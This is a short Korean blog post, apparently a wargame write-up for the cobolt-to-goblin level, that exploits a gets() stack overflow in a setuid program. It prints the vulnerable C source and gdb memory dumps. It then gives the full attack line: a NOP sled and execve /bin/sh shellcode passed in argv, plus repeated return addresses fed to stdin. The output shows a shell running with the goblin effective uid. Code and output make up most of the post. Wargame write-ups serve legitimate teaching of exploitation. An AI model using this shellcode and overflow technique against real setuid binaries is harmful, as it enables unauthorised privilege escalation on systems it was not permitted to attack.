LEVEL3 (cobolt -> goblin) : small buffer + stdin

이번 실험은 작은 버퍼에 입출력으로 문자열을 받고 있다. 소스코드를 보자

[cobolt@localhost .izayoi]$ cat goblin.c
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

버퍼의 크기는 여전히 16이다. 그리고 gets를 이용해서 문자열을 박고 그것을 출력하는 프로그램이다.
2번 문제의 방법을 이용하고 싶지만 왜 에러나는지 모르기에 다른 방법을 쓰려고 한다.

int main()이라고 해서 인자값을 못받을거 같은데 실제적으로는 인자값은 받아서 메모리 안에 존재하게 된다.
이를 이용해서 문제를 풀 생각이다.

[stack] [sfp]      [ret]          [argc] [argv] [env]
"a"x20           "argv주소값"                "\x90"x100+shellcode

 [cobolt@localhost .izayoi]$ gdb -q goblin
(gdb) b *main+15
Breakpoint 1 at 0x8048407
(gdb) r `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Starting program: /home/cobolt/.izayoi/goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
aaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x8048407 in main ()
(gdb) x/70x $esp
0xbffffa74:     0xbffffa78      0x61616161      0x61616161      0x61616161
0xbffffa84:     0x61616161      0x61616161      0x61616161      0x00000000
....
0xbffffbdc:     0x6f79617a      0x6f672f69      0x6e696c62      0x90909000
0xbffffbec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbfc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc0c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc3c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc4c:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
0xbffffc5c:     0xe1895350      0xcd0bb099      0x454c0080      0x504f5353
0xbffffc6c:     0x7c3d4e45      0x7273752f      0x6e69622f      0x73656c2f
0xbffffc7c:     0x70697073      0x68732e65      0x00732520      0x52455355
....


"a"값을 24개 넣고 자리에 들어가는 것을 확인한 뒤에 \x90의 위치를 찾아보았다.
ret이 가르칠 주소만 신경써보면 약 bffffc0c정도즈음에 주소값을 때린다면 쉘코드가 실행될거같은 느낌이 든다.

아마 공격구문은
(perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
이런식이겠지.

 [cobolt@localhost cobolt]$ (perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
id
üÿ¿
üÿ¿
üÿ¿
üÿ¿
üÿ¿
üÿ¿id
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof

중간에 입출력함수때문인지 글자를 쳐줘야 sh쉘이 떨어지는 것을 확인할 수 있었다.

졸려...
Posted by john@memory :